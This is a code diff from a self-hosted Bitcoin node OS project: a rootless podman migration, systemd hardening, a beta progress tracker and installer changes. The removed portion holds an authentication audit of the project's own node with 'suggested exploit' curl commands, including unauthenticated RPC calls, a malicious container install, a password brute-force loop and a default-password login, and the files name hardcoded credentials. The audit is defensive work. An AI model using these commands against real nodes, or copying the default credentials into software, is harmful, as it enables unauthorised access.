@@ -212,8 +212,8 @@ async fn read_network_totals() -> Result<(u64, u64)> {
|
||||
|
||||
/// Get per-container resource stats via `podman stats --no-stream --format json`.
|
||||
async fn read_container_stats() -> Result<Vec<ContainerMetrics>> {
|
||||
let output = tokio::process::Command::new("sudo")
|
||||
.args(["podman", "stats", "--no-stream", "--format", "json"])
|
||||
let output = tokio::process::Command::new("podman")
|
||||
.args(["stats", "--no-stream", "--format", "json"])
|
||||
.output()
|
||||
.await
|
||||
.context("Failed to run podman stats")?;
|
||||
|
||||
@@ -13,7 +13,7 @@ type HmacSha256 = Hmac<Sha256>;
|
||||
const FULL_SESSION_TTL: u64 = 86400; // 24 hours of inactivity
|
||||
const PENDING_SESSION_TTL: u64 = 300; // 5 minutes
|
||||
const MAX_TOTP_ATTEMPTS: u8 = 5;
|
||||
const MAX_CONCURRENT_SESSIONS: usize = 20;
|
||||
const MAX_CONCURRENT_SESSIONS: usize = 50;
|
||||
const SESSIONS_FILE: &str = "/var/lib/archipelago/sessions.json";
|
||||
const REMEMBER_SECRET_FILE: &str = "/var/lib/archipelago/remember_secret";
|
||||
pub const REMEMBER_TTL: u64 = 30 * 24 * 3600; // 30 days
|
||||
|
||||
@@ -306,8 +306,8 @@ pub async fn apply_update(data_dir: &Path) -> Result<()> {
|
||||
pub async fn rolling_container_restart() -> Result<RollingRestartReport> {
|
||||
use std::process::Command;
|
||||
|
||||
let output = Command::new("sudo")
|
||||
.args(["podman", "ps", "--format", "{{.Names}}"])
|
||||
let output = Command::new("podman")
|
||||
.args(["ps", "--format", "{{.Names}}"])
|
||||
.output()
|
||||
.context("Failed to list containers")?;
|
||||
let names: Vec<String> = String::from_utf8_lossy(&output.stdout)
|
||||
@@ -325,8 +325,8 @@ pub async fn rolling_container_restart() -> Result<RollingRestartReport> {
|
||||
for name in &names {
|
||||
debug!(container = %name, "Restarting container");
|
||||
|
||||
let restart = Command::new("sudo")
|
||||
.args(["podman", "restart", "--time", "30", name])
|
||||
let restart = Command::new("podman")
|
||||
.args(["restart", "--time", "30", name])
|
||||
.output();
|
||||
|
||||
match restart {
|
||||
@@ -335,8 +335,8 @@ pub async fn rolling_container_restart() -> Result<RollingRestartReport> {
|
||||
let mut healthy = false;
|
||||
for _ in 0..12 {
|
||||
tokio::time::sleep(std::time::Duration::from_secs(5)).await;
|
||||
let check = Command::new("sudo")
|
||||
.args(["podman", "inspect", name, "--format", "{{.State.Status}}"])
|
||||
let check = Command::new("podman")
|
||||
.args(["inspect", name, "--format", "{{.State.Status}}"])
|
||||
.output();
|
||||
if let Ok(out) = check {
|
||||
let status = String::from_utf8_lossy(&out.stdout).trim().to_string();
|
||||
|
||||
@@ -102,9 +102,9 @@ impl PodmanClient {
|
||||
}
|
||||
|
||||
fn podman_async(&self) -> TokioCommand {
|
||||
// Always use sudo podman to access system-wide containers
|
||||
let mut cmd = TokioCommand::new("sudo");
|
||||
cmd.arg("podman");
|
||||
// Rootless podman: run as the current user (no sudo).
|
||||
// Requires: loginctl enable-linger <user>, containers migrated to user storage.
|
||||
let cmd = TokioCommand::new("podman");
|
||||
cmd
|
||||
}
|
||||
|
||||
|
||||
316
docs/BETA-PROGRESS.md
Normal file
@@ -0,0 +1,316 @@
|
||||
# Beta Progress Tracker
|
||||
|
||||
> **Goal**: Flawless beta that works perfectly on every machine we install it on.
|
||||
> **Freeze started**: 2026-03-18
|
||||
> **Last updated**: 2026-03-18
|
||||
|
||||
---
|
||||
|
||||
## Pipeline
|
||||
|
||||
```
|
||||
PHASE 1: Feature Testing (internal) ← WE ARE HERE
|
||||
↓
|
||||
PHASE 2: User Testing (real users, controlled)
|
||||
↓
|
||||
PHASE 3: Beta Live (public release)
|
||||
```
|
||||
|
||||
**Current phase**: PHASE 1 — Feature Testing
|
||||
**Gate to Phase 2**: Every feature works, all bugs fixed, security hardened, ISO verified
|
||||
**Gate to Phase 3**: User testing feedback resolved, no P0/P1 issues remaining
|
||||
|
||||
---
|
||||
|
||||
## Phase 1: Feature Testing (Internal)
|
||||
|
||||
Everything in this phase must pass before we hand it to real users.
|
||||
|
||||
### Overall Status: EARLY (~15%)
|
||||
|
||||
| Workstream | Status | Completion | Gate-blocking? |
|
||||
|------------|--------|------------|----------------|
|
||||
| 1A. Critical Bugs | NOT STARTED | 0% | YES |
|
||||
| 1B. Boot Screen (FEATURE-4) | IN PROGRESS | ~20% | YES |
|
||||
| 1C. Security Hardening | PARTIAL | ~30% | YES |
|
||||
| 1D. Rootless Podman (TASK-11) | NOT STARTED | 0% | YES |
|
||||
| 1E. Beta Telemetry (TASK-12) | NOT STARTED | 0% | YES |
|
||||
| 1F. App Testing — every feature | NOT STARTED | 0% | YES |
|
||||
| 1G. ISO Build & Fresh Install | NOT STARTED | 0% | YES |
|
||||
| 1H. UI Polish & Layout | NOT STARTED | 0% | No |
|
||||
| 1I. WebSocket Reliability | NOT STARTED | 0% | No |
|
||||
| 1J. Quality Baseline Check | NOT STARTED | 0% | No |
|
||||
|
||||
### 1A. Critical Bugs
|
||||
|
||||
#### BUG-1: Random logout / CSRF mismatch — P0
|
||||
**Status**: PLANNED
|
||||
**Impact**: Users get randomly logged out. Blocks user testing — unacceptable UX.
|
||||
|
||||
**What's known**:
|
||||
- Sessions now persist to disk (fixed)
|
||||
- CSRF token mismatch between cookie and header still causes 403s
|
||||
- Likely caused by cookie rotation in multi-tab or deploy scenarios
|
||||
|
||||
**Remaining work**:
|
||||
- [ ] Add debug logging to capture actual cookie vs header values
|
||||
- [ ] Reproduce reliably (multi-tab, deploy, long idle)
|
||||
- [ ] Fix the root cause
|
||||
- [ ] Verify fix survives deploys and multi-tab use
|
||||
|
||||
#### BUG-3: IndeedHub WebSocket spam — P2
|
||||
**Status**: PLANNED
|
||||
**Impact**: Console noise, minor. Should fix before user testing.
|
||||
|
||||
- [ ] Rebuild IndeedHub with relative WebSocket URL
|
||||
- [ ] Verify fix
|
||||
|
||||
---
|
||||
|
||||
### 1B. Boot Screen (FEATURE-4)
|
||||
|
||||
**Status**: IN PROGRESS (started 2026-03-17)
|
||||
**Impact**: Users hit errors on first boot before backend is ready. Blocks user testing.
|
||||
|
||||
- [ ] Audit current `/health` endpoint — what does it check?
|
||||
- [ ] Add granular service readiness to health endpoint
|
||||
- [ ] Design boot screen component (screensaver + progress)
|
||||
- [ ] Create pixel art icon animations
|
||||
- [ ] Implement health polling with smooth transition
|
||||
- [ ] Handle edge cases (slow start, partial failures, timeout)
|
||||
- [ ] Test on fresh ISO install (first-boot path)
|
||||
- [ ] Test on normal reboot (existing user path)
|
||||
|
||||
---
|
||||
|
||||
### 1C. Security Hardening
|
||||
|
||||
**Status**: PARTIAL — 2 critical, 5 high issues from March audit
|
||||
|
||||
#### Critical (must fix before user testing)
|
||||
|
||||
| ID | Issue | Status |
|
||||
|----|-------|--------|
|
||||
| CRIT-01 | Deterministic encryption key (derived from path) | DEFERRED — needs Argon2/TPM redesign |
|
||||
| CRIT-02 | Hardcoded Bitcoin RPC password (`archipelago123`) | DEFERRED — needs per-install random gen |
|
||||
|
||||
#### High (must fix before user testing)
|
||||
|
||||
| ID | Issue | Status |
|
||||
|----|-------|--------|
|
||||
| HIGH-01 | CSP headers not set | DEFERRED |
|
||||
| HIGH-02 | HSTS not enabled | DEFERRED |
|
||||
| HIGH-03 | Rate limit IP spoofing (X-Forwarded-For) | DEFERRED |
|
||||
| HIGH-04 | Bitcoin RPC bound to 0.0.0.0 | DEFERRED |
|
||||
| HIGH-05 | (from audit) | DEFERRED |
|
||||
|
||||
#### Already fixed
|
||||
- MED-03: Shell injection in bitcoin.conf generation
|
||||
- MED-07: No body size limit on /rpc/
|
||||
|
||||
#### Decision needed
|
||||
- CRIT-01 and CRIT-02 are architectural. Are these user-testing-blocking or can they ship with known-issue documentation?
|
||||
|
||||
---
|
||||
|
||||
### 1D. Rootless Podman (TASK-11)
|
||||
|
||||
**Status**: NOT STARTED
|
||||
**Impact**: Security posture — containers should not require root.
|
||||
|
||||
- [ ] Investigate rootless podman feasibility for all current apps
|
||||
- [ ] Migrate container creation to rootless
|
||||
- [ ] Restore any security hardening lost during development
|
||||
- [ ] Verify all apps still work after migration
|
||||
|
||||
---
|
||||
|
||||
### 1E. Beta Telemetry — Node Reporting (TASK-12)
|
||||
|
||||
**Status**: NOT STARTED
|
||||
**Impact**: Without this we're blind during user testing — can't see what's broken on their machines.
|
||||
|
||||
All beta nodes report health/errors to a central log. We build a panel to monitor and triage issues.
|
||||
|
||||
**Design**:
|
||||
- Opt-in telemetry (user consents during onboarding or settings)
|
||||
- Each node periodically reports: health status, error log digest, container states, uptime
|
||||
- Central endpoint collects reports (could be a simple API on one of our servers)
|
||||
- Dashboard panel shows all reporting nodes, their status, recent errors
|
||||
- Privacy: no wallet data, no keys, no personal data — only system health and error logs
|
||||
- Nodes identified by anonymous ID (hash of DID), not IP or name
|
||||
|
||||
**Tasks**:
|
||||
- [ ] Design report payload (health, errors, container states, versions, uptime)
|
||||
- [ ] Design privacy model — what's collected, what's NOT, user consent flow
|
||||
- [ ] Build reporting endpoint (backend RPC → central collector)
|
||||
- [ ] Build central collector service (receives + stores reports)
|
||||
- [ ] Build monitoring dashboard/panel (view all nodes, filter by error type)
|
||||
- [ ] Add opt-in toggle to Settings UI
|
||||
- [ ] Add reporting interval config (default: every 15 min?)
|
||||
- [ ] Test with multi-node fleet (.228, .198, Tailscale nodes)
|
||||
|
||||
---
|
||||
|
||||
### 1F. App Testing — Every Feature
|
||||
|
||||
**Status**: NOT STARTED
|
||||
**Reference**: `docs/BETA-RELEASE-CHECKLIST.md` — full matrix
|
||||
|
||||
Systematic test of **every feature** on the dev server, then on fresh install.
|
||||
|
||||
#### Core Flows
|
||||
- [ ] Onboarding: welcome → password → path → DID → backup → dashboard
|
||||
- [ ] Login / logout / re-login
|
||||
- [ ] Password change (invalidates other sessions)
|
||||
- [ ] 2FA enrollment and verification
|
||||
- [ ] Settings: view server name, version, DID, Tor address
|
||||
- [ ] Dashboard: all overview cards render with data
|
||||
|
||||
#### App Lifecycle (every app)
|
||||
- [ ] Bitcoin Knots: install, sync starts, UI loads, uninstall
|
||||
- [ ] Electrs: install, auto-connects to Bitcoin, UI loads, uninstall
|
||||
- [ ] LND: install, auto-connects to Bitcoin, UI loads, uninstall
|
||||
- [ ] BTCPay Server: install, connects, Lightning available, uninstall
|
||||
- [ ] Mempool: install with Bitcoin+Electrs, shows data, uninstall
|
||||
- [ ] Fedimint + Gateway: install, UI loads, uninstall
|
||||
- [ ] File Browser: install, UI loads, uninstall
|
||||
- [ ] Immich: install, UI loads, uninstall
|
||||
- [ ] PhotoPrism: install, UI loads, uninstall
|
||||
- [ ] Penpot: install, UI loads, uninstall
|
||||
- [ ] SearXNG: install, UI loads, uninstall
|
||||
- [ ] Ollama: install, UI loads, uninstall
|
||||
- [ ] Nostr Relay: install, UI loads, uninstall
|
||||
- [ ] Nginx Proxy Manager: install, UI loads, uninstall
|
||||
- [ ] Tailscale: install, UI loads, uninstall
|
||||
- [ ] Home Assistant: install, UI loads (new tab), uninstall
|
||||
- [ ] IndeedHub: opens external URL in iframe
|
||||
|
||||
#### Dependency Chain Errors
|
||||
- [ ] Electrs without Bitcoin → clear error message
|
||||
- [ ] LND without Bitcoin → clear error message
|
||||
- [ ] Mempool without Bitcoin+Electrs → clear error message
|
||||
|
||||
#### Federation & Identity
|
||||
- [ ] Federation invite + join between nodes
|
||||
- [ ] DWN sync between federated nodes
|
||||
- [ ] Backup create + download
|
||||
- [ ] Backup restore on fresh install
|
||||
|
||||
#### WebSocket
|
||||
- [ ] Connects on login, receives initial data
|
||||
- [ ] Reconnects after network drop
|
||||
- [ ] Ping/pong heartbeat both directions
|
||||
- [ ] Connection state visible in UI
|
||||
- [ ] Install progress delivered real-time
|
||||
|
||||
#### Nginx Proxies
|
||||
- [ ] Every `/app/*` proxy resolves correctly
|
||||
- [ ] BTCPay and Home Assistant open in new tab
|
||||
- [ ] Tor hidden services resolve
|
||||
|
||||
---
|
||||
|
||||
### 1G. ISO Build & Fresh Install
|
||||
|
||||
**Status**: NOT STARTED
|
||||
|
||||
- [ ] ISO builds successfully on dev server
|
||||
- [ ] ISO size < 10 GB
|
||||
- [ ] All container images captured
|
||||
- [ ] Boot from USB on x86_64 hardware
|
||||
- [ ] Auto-installer partitions correctly
|
||||
- [ ] Services start on first boot
|
||||
- [ ] Web UI accessible within 3 minutes
|
||||
- [ ] Full onboarding flow completes
|
||||
- [ ] Second machine test (different hardware)
|
||||
- [ ] ARM64 test (if targeting)
|
||||
|
||||
---
|
||||
|
||||
### 1H. UI Polish & Layout
|
||||
|
||||
**Status**: NOT STARTED
|
||||
**Note**: Layout rearrangements and UX improvements allowed during freeze.
|
||||
|
||||
- [ ] Review all views for consistent glass design
|
||||
- [ ] Verify all loading/empty/error states work
|
||||
- [ ] Check responsive layout on tablet/mobile
|
||||
- [ ] Audit all button states (disabled during submit, etc.)
|
||||
|
||||
---
|
||||
|
||||
### 1I. WebSocket Reliability
|
||||
|
||||
Covered under 1F testing — no separate workstream needed.
|
||||
|
||||
---
|
||||
|
||||
### 1J. Quality Baseline Check
|
||||
|
||||
**Last known** (2026-03-11):
|
||||
- Silent catches: 0
|
||||
- Console statements: 0
|
||||
- `any` types: 0
|
||||
- TypeScript errors: 0
|
||||
- Tests: 515 passed
|
||||
- npm audit (runtime): 0
|
||||
|
||||
- [ ] Re-run full quality sweep — verify no regressions
|
||||
- [ ] Fix any new violations
|
||||
|
||||
---
|
||||
|
||||
## Phase 2: User Testing (Controlled)
|
||||
|
||||
**Gate**: All Phase 1 items pass. No P0/P1 bugs open.
|
||||
|
||||
Starts when we hand ISOs to real users on real hardware we don't control.
|
||||
|
||||
| Item | Status |
|
||||
|------|--------|
|
||||
| Recruit test users (3-5 people, varied hardware) | NOT STARTED |
|
||||
| Provide ISOs + install instructions | NOT STARTED |
|
||||
| Beta telemetry collecting reports from user nodes | NOT STARTED |
|
||||
| Monitor dashboard for errors across fleet | NOT STARTED |
|
||||
| Triage + fix reported issues | NOT STARTED |
|
||||
| User feedback collection (structured form or channel) | NOT STARTED |
|
||||
| Fix all P0/P1 issues from user reports | NOT STARTED |
|
||||
| Rebuild ISO with fixes, re-test | NOT STARTED |
|
||||
|
||||
---
|
||||
|
||||
## Phase 3: Beta Live (Public)
|
||||
|
||||
**Gate**: User testing complete. No P0/P1 issues. Telemetry shows stable fleet.
|
||||
|
||||
| Item | Status |
|
||||
|------|--------|
|
||||
| Final ISO build with all fixes | NOT STARTED |
|
||||
| Release notes / changelog | NOT STARTED |
|
||||
| Download page / distribution | NOT STARTED |
|
||||
| Public announcement | NOT STARTED |
|
||||
| Telemetry monitoring active for early adopters | NOT STARTED |
|
||||
|
||||
---
|
||||
|
||||
## Session Log
|
||||
|
||||
| Date | Session | Work Done | Items Closed |
|
||||
|------|---------|-----------|--------------|
|
||||
| 2026-03-18 | #1 | Created beta freeze plan, progress tracker | — |
|
||||
| 2026-03-18 | #2 | Restructured into 3-phase pipeline, added telemetry workstream | — |
|
||||
|
||||
---
|
||||
|
||||
## Post-Beta Parking Lot
|
||||
|
||||
These are explicitly deferred until after beta ships:
|
||||
- FEATURE-6: Watch-only wallet architecture
|
||||
- TASK-7: Mesh Bitcoin security hardening
|
||||
- INQUIRY-5: Offline balance check via mesh relay
|
||||
- TASK-2: Roll incoming-tx into deploy & ISO (P2, not blocking)
|
||||
- did:dht integration
|
||||
- Multi-user support
|
||||
- Cluster mode
|
||||
- Mobile companion PWA
|
||||
@@ -20,6 +20,7 @@
|
||||
| **TASK-10** | **ISO build verification + multi-hardware test** | **P1** | PLANNED | - |
|
||||
| **TASK-11** | **Rootless podman + restore security hardening** | **P1** | PLANNED | - |
|
||||
| **TASK-12** | **Beta telemetry — node reporting + monitoring panel** | **P1** | PLANNED | - |
|
||||
| **TASK-17** | **Alpha version tags + rollback strategy** | **P2** | PLANNED | - |
|
||||
|
||||
### Phase 2: User Testing (controlled, real hardware)
|
||||
|
||||
@@ -181,6 +182,22 @@ Migrate from `sudo podman` (root containers) to rootless podman so the systemd s
|
||||
|
||||
---
|
||||
|
||||
### TASK-17: Alpha version tags + rollback strategy (PLANNED)
|
||||
**Priority**: P2 — Medium
|
||||
**Status**: PLANNED (2026-03-18)
|
||||
|
||||
Tag every significant alpha version with git tags for easy rollback. Each tag should correspond to a deployable state. Maintain a version log so any alpha can be rebuilt and deployed.
|
||||
|
||||
**Tasks**:
|
||||
- [ ] Tag current state as `v1.2.0-alpha.1` (pre-rootless-podman)
|
||||
- [ ] Establish naming convention: `v{major}.{minor}.{patch}-alpha.{build}`
|
||||
- [ ] Tag after rootless podman migration: `v1.2.0-alpha.2`
|
||||
- [ ] Document rollback procedure (git checkout tag + deploy)
|
||||
- [ ] Add version tag step to deploy script (auto-tag on successful deploy)
|
||||
- [ ] Update CHANGELOG.md with each alpha milestone
|
||||
|
||||
---
|
||||
|
||||
## Post-Beta (FROZEN)
|
||||
|
||||
*These tasks are deferred until after beta ships. Do not start.*
|
||||
|
||||
@@ -168,7 +168,8 @@ chroot /mnt/archipelago apt-get install -y \
|
||||
wget \
|
||||
htop \
|
||||
vim-tiny \
|
||||
ca-certificates
|
||||
ca-certificates \
|
||||
chrony
|
||||
|
||||
echo "📦 Installing container tools..."
|
||||
chroot /mnt/archipelago apt-get install -y podman || echo "⚠️ Podman not available in base repos, will use containers.io later"
|
||||
@@ -194,6 +195,22 @@ echo "archipelago:archipelago" | chroot /mnt/archipelago chpasswd
|
||||
echo "⚙️ Enabling services..."
|
||||
chroot /mnt/archipelago systemctl enable NetworkManager || true
|
||||
chroot /mnt/archipelago systemctl enable ssh || chroot /mnt/archipelago systemctl enable sshd || true
|
||||
chroot /mnt/archipelago systemctl enable chrony || true
|
||||
|
||||
# Remove policy-rc.d so services can start on first boot
|
||||
rm -f /mnt/archipelago/usr/sbin/policy-rc.d
|
||||
|
||||
echo "💾 Creating swap file..."
|
||||
TOTAL_MEM_KB=$(chroot /mnt/archipelago grep MemTotal /proc/meminfo 2>/dev/null | awk '{print $2}')
|
||||
SWAP_GB=${TOTAL_MEM_KB:+$((TOTAL_MEM_KB / 1024 / 1024))}
|
||||
SWAP_GB=${SWAP_GB:-4}
|
||||
[ "$SWAP_GB" -gt 8 ] && SWAP_GB=8
|
||||
[ "$SWAP_GB" -lt 2 ] && SWAP_GB=2
|
||||
fallocate -l ${SWAP_GB}G /mnt/archipelago/swapfile 2>/dev/null || dd if=/dev/zero of=/mnt/archipelago/swapfile bs=1G count=$SWAP_GB status=progress
|
||||
chmod 600 /mnt/archipelago/swapfile
|
||||
chroot /mnt/archipelago mkswap /swapfile
|
||||
echo '/swapfile none swap sw 0 0' >> /mnt/archipelago/etc/fstab
|
||||
echo "✅ Created ${SWAP_GB}G swap"
|
||||
|
||||
echo "📁 Creating Archipelago directories..."
|
||||
chroot /mnt/archipelago mkdir -p /var/lib/archipelago/{data,config,containers}
|
||||
|
||||
@@ -195,6 +195,7 @@ RUN apt-get update && apt-get install -y \
|
||||
vim-tiny \
|
||||
ca-certificates \
|
||||
openssl \
|
||||
chrony \
|
||||
locales \
|
||||
console-setup \
|
||||
keyboard-configuration \
|
||||
@@ -251,7 +252,11 @@ RUN systemctl enable NetworkManager || true && \
|
||||
systemctl enable nginx || true && \
|
||||
systemctl enable archipelago || true && \
|
||||
systemctl enable tor || true && \
|
||||
systemctl enable tailscaled || true
|
||||
systemctl enable tailscaled || true && \
|
||||
systemctl enable chrony || true
|
||||
|
||||
# Remove policy-rc.d so services can start on first boot
|
||||
RUN rm -f /usr/sbin/policy-rc.d
|
||||
|
||||
# Create directories (including Cloud storage for FileBrowser)
|
||||
RUN mkdir -p /var/lib/archipelago/{data,config,containers} && \
|
||||
|
||||
@@ -16,21 +16,31 @@ WatchdogSec=300
|
||||
TimeoutStartSec=300
|
||||
|
||||
# Filesystem protection
|
||||
# ProtectSystem=true protects /usr and /boot only.
|
||||
# Cannot use =full or =strict because podman needs write to /etc/containers.
|
||||
ProtectSystem=true
|
||||
ProtectSystem=strict
|
||||
ProtectHome=yes
|
||||
PrivateTmp=yes
|
||||
ReadWritePaths=/var/lib/archipelago /etc/containers /var/lib/containers /run/containers /run/user /tmp
|
||||
|
||||
# Privilege restriction
|
||||
# NOTE: NoNewPrivileges, RestrictAddressFamilies, MemoryDenyWriteExecute, and
|
||||
# RestrictRealtime are disabled because they all implicitly set the kernel
|
||||
# no_new_privs flag, which blocks sudo — required for podman container management.
|
||||
# TODO(TASK-11): Migrate to rootless podman, then re-enable all of these.
|
||||
# Privilege restriction — restored with rootless podman (no sudo needed)
|
||||
NoNewPrivileges=yes
|
||||
PrivateDevices=no
|
||||
SupplementaryGroups=dialout
|
||||
|
||||
# Filesystem protection remains active (ProtectSystem, ProtectHome, PrivateTmp above)
|
||||
# Network restriction (allow only IPv4/IPv6 + Unix sockets)
|
||||
RestrictAddressFamilies=AF_UNIX AF_INET AF_INET6
|
||||
|
||||
# Restrict what the process can do
|
||||
RestrictNamespaces=yes
|
||||
RestrictRealtime=yes
|
||||
RestrictSUIDSGID=yes
|
||||
|
||||
# Only allow needed syscalls
|
||||
SystemCallArchitectures=native
|
||||
SystemCallFilter=@system-service
|
||||
SystemCallFilter=~@privileged @resources
|
||||
|
||||
# Memory protection
|
||||
MemoryDenyWriteExecute=yes
|
||||
|
||||
# Logging
|
||||
StandardOutput=journal
|
||||
|
||||
@@ -1,494 +1,24 @@
|
||||
Now I have a complete picture. Let me compile the full vulnerability report.
|
||||
## Authentication & Authorization Assessment Complete
|
||||
|
||||
---
|
||||
**15 findings** identified across the Archipelago auth surface. Here's the breakdown:
|
||||
|
||||
# Authentication & Authorization Vulnerability Assessment
|
||||
### Critical (P0) — Fix immediately
|
||||
- **AUTH-001**: Production systemd service has `ARCHIPELAGO_DEV_MODE=true` — `password123` is a valid login credential and `Secure` cookie flags are disabled
|
||||
- **AUTH-002**: `/lnd-connect-info` exposes the **full LND admin macaroon** (Lightning node control) without any authentication, with `CORS: *`
|
||||
- **AUTH-011**: Nginx AIUI proxy only checks `$cookie_session != ""` — any non-empty string bypasses auth to the Claude/OpenRouter API proxies
|
||||
|
||||
**Target:** http://192.168.1.228 (Archipelago Bitcoin Node OS)
|
||||
**Scope:** Authentication, Authorization, and Session Management
|
||||
**Method:** Source code review + limited live probing (backend was down during testing)
|
||||
### High (P1) — Fix before beta
|
||||
- **AUTH-003**: `remember` cookie (30-day TTL) not cleared on logout — stolen token auto-restores sessions indefinitely
|
||||
- **AUTH-004**: CSRF validation explicitly skipped on remember-me session auto-restore — enables single-request CSRF attacks
|
||||
- **AUTH-007/008**: Federation `peer-joined` and `peer-address-changed` accept arbitrary DIDs without cryptographic proof — attacker can inject fake trusted peers or redirect peer traffic
|
||||
|
||||
---
|
||||
### Medium (P2)
|
||||
- **AUTH-005**: Rate limit bypass via `X-Real-IP` spoofing on direct port 5678 access
|
||||
- **AUTH-006**: `/content` leaks file catalog (names, sizes, UUIDs) without auth
|
||||
- **AUTH-009**: `federation.get-state` leaks installed apps/versions without auth
|
||||
- **AUTH-010**: `backup.restore-identity` can overwrite node identity even after setup
|
||||
|
||||
## AUTH-001: Complete Absence of Server-Side Session Management
|
||||
### Positives
|
||||
Session management is otherwise solid: 256-bit tokens, SHA256 server-side storage, bcrypt passwords, TOTP with Argon2id+ChaCha20 three-layer encryption, proper session rotation, and replay protection. The core auth architecture is good — these are mostly configuration issues and missing auth checks on specific endpoints.
|
||||
|
||||
**Type:** Missing Authentication
|
||||
**Location:** `POST /rpc/v1` — all RPC methods
|
||||
**Source file:** `core/archipelago/src/api/rpc/mod.rs:71-140`
|
||||
**Confidence:** HIGH
|
||||
|
||||
The `auth.login` handler (`core/archipelago/src/api/rpc/auth.rs:5-32`) verifies the password against a bcrypt hash, then returns `serde_json::Value::Null` — **no session token, no cookie, no JWT is created or returned**. There is zero server-side session state.
|
||||
|
||||
The `handle()` method at `mod.rs:71` receives the request, deserializes the JSON body, and dispatches directly to the method handler based on the `method` string. No middleware, no session check, no cookie validation occurs at any point in the request lifecycle.
|
||||
|
||||
**Evidence:**
|
||||
- `auth.rs:31` returns `Ok(serde_json::Value::Null)` on successful login — no session created
|
||||
- `handler.rs:34-75` routes requests with no middleware chain
|
||||
- `server.rs:125-157` creates a raw hyper `service_fn` with no middleware wrapping
|
||||
- The `core/startos/src/middleware/auth.rs` contains a full session middleware (`HasValidSession`, cookie parsing, SHA-256 token hashing, rate limiting) but it is **completely unused** by the archipelago binary
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
# Any endpoint callable without any auth token/cookie
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node.did","params":{}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-002: All 30+ Sensitive RPC Endpoints Callable Without Authentication
|
||||
|
||||
**Type:** Missing Authorization Checks on Sensitive Endpoints
|
||||
**Location:** `POST /rpc/v1` with various `method` values
|
||||
**Source file:** `core/archipelago/src/api/rpc/mod.rs:86-139`
|
||||
**Confidence:** HIGH
|
||||
|
||||
Every RPC method is callable by any network client without authentication. The full list of unprotected methods:
|
||||
|
||||
| Category | Methods | Impact |
|
||||
|----------|---------|--------|
|
||||
| **Container control** | `container-install`, `container-start`, `container-stop`, `container-remove` | Full container lifecycle control |
|
||||
| **Package management** | `package.install`, `package.start`, `package.stop`, `package.restart`, `package.uninstall` | Install/run arbitrary Docker images |
|
||||
| **Cryptographic operations** | `node.signChallenge`, `node.createBackup` | Sign arbitrary data with node private key, export encrypted identity |
|
||||
| **Identity exposure** | `node.did`, `node.nostr-pubkey`, `node.tor-address` | Leak node identity, Nostr keys, Tor hidden service address |
|
||||
| **P2P operations** | `node-add-peer`, `node-remove-peer`, `node-send-message`, `node-list-peers` | Manipulate peer list, send messages as node |
|
||||
| **Nostr publication** | `node.nostr-publish` | Publish node identity to Nostr relays |
|
||||
| **Auth management** | `auth.changePassword`, `auth.resetOnboarding` | Reset onboarding state |
|
||||
| **Bitcoin/Lightning** | `bitcoin.getinfo`, `lnd.getinfo` | Access chain/channel data |
|
||||
|
||||
**Evidence:** `mod.rs:86-139` — flat match statement with zero auth gating.
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
# Install and run any container image
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"package.install","params":{"id":"malicious","dockerImage":"attacker/image:tag"}}'
|
||||
|
||||
# Sign arbitrary data with node's ed25519 private key
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"node.signChallenge","params":{"challenge":"arbitrary data to sign"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-003: No Brute Force Protection on Login
|
||||
|
||||
**Type:** Missing Rate Limiting / Account Lockout
|
||||
**Location:** `POST /rpc/v1` with `method: "auth.login"`
|
||||
**Source file:** `core/archipelago/src/api/rpc/auth.rs:5-32`
|
||||
**Confidence:** HIGH
|
||||
|
||||
The login handler has no rate limiting, no account lockout, no progressive delays, and no CAPTCHA. The `core/startos/src/middleware/auth.rs:240-256` implements rate limiting (3 attempts per 20 seconds) but this middleware is **not connected** to the archipelago backend.
|
||||
|
||||
Bcrypt hashing provides some natural slowdown (~100ms per attempt at DEFAULT_COST=12), allowing ~600 attempts/minute.
|
||||
|
||||
**Evidence:**
|
||||
- `auth.rs:5-32` — straightforward password check with no rate limiting logic
|
||||
- No rate-limiting state anywhere in the archipelago codebase
|
||||
- No nginx rate limiting on `/rpc/` in `nginx-archipelago.conf`
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
# Unlimited login attempts with no lockout
|
||||
for pw in $(cat /path/to/wordlist.txt); do
|
||||
curl -s -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d "{\"method\":\"auth.login\",\"params\":{\"password\":\"$pw\"}}"
|
||||
done
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-004: Hardcoded Default Credentials (Dev Mode)
|
||||
|
||||
**Type:** Default/Test Credentials
|
||||
**Location:** `POST /rpc/v1` with `method: "auth.login"`
|
||||
**Source files:**
|
||||
- `core/archipelago/src/api/rpc/mod.rs:40` — `DEV_DEFAULT_PASSWORD = "password123"`
|
||||
- `core/archipelago/src/main.rs:47-53` — auto-creates user with default password
|
||||
- `core/archipelago/src/api/rpc/auth.rs:17-20` — accepts default password when user not setup
|
||||
**Confidence:** HIGH
|
||||
|
||||
When `dev_mode=true` in config:
|
||||
1. `main.rs:49-50` auto-creates `user.json` with bcrypt hash of `"password123"`
|
||||
2. `auth.rs:18` accepts `"password123"` even without user setup
|
||||
|
||||
The config defaults `dev_mode: false` (`config.rs:197`), but if the production server has `ARCHIPELAGO_DEV_MODE=true` in its environment or config, this backdoor is active. The CLAUDE.md confirms the dev server uses `password123`.
|
||||
|
||||
**Evidence:** The constant `DEV_DEFAULT_PASSWORD` is defined in two places (`mod.rs:40`, `main.rs:28`).
|
||||
|
||||
**Suggested exploit:**
|
||||
```bash
|
||||
curl -X POST http://192.168.1.228/rpc/v1 \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"method":"auth.login","params":{"password":"password123"}}'
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## AUTH-005: Frontend-Only Authentication Enforcement
|
||||
|
||||
**Type:** Client-Side Authentication Bypass
|
||||
**Location:** Browser localStorage + Vue router guards
|
||||
**Source files:**
|
||||
